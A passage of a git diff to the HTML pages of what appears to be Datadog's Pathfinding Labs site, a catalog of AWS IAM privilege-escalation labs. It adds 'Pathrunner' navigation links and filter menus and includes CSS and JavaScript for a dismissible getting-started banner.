+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/sts-001/index.html b/docs/labs/sts-001/index.html
index 97a06846..93e34181 100644
--- a/docs/labs/sts-001/index.html
+++ b/docs/labs/sts-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sysdig-8-minutes-to-admin/index.html b/docs/labs/sysdig-8-minutes-to-admin/index.html
index 69795094..c3b62e25 100644
--- a/docs/labs/sysdig-8-minutes-to-admin/index.html
+++ b/docs/labs/sysdig-8-minutes-to-admin/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/test-effective-permissions-evaluation/index.html b/docs/labs/test-effective-permissions-evaluation/index.html
index c3949f28..a36fc348 100644
--- a/docs/labs/test-effective-permissions-evaluation/index.html
+++ b/docs/labs/test-effective-permissions-evaluation/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
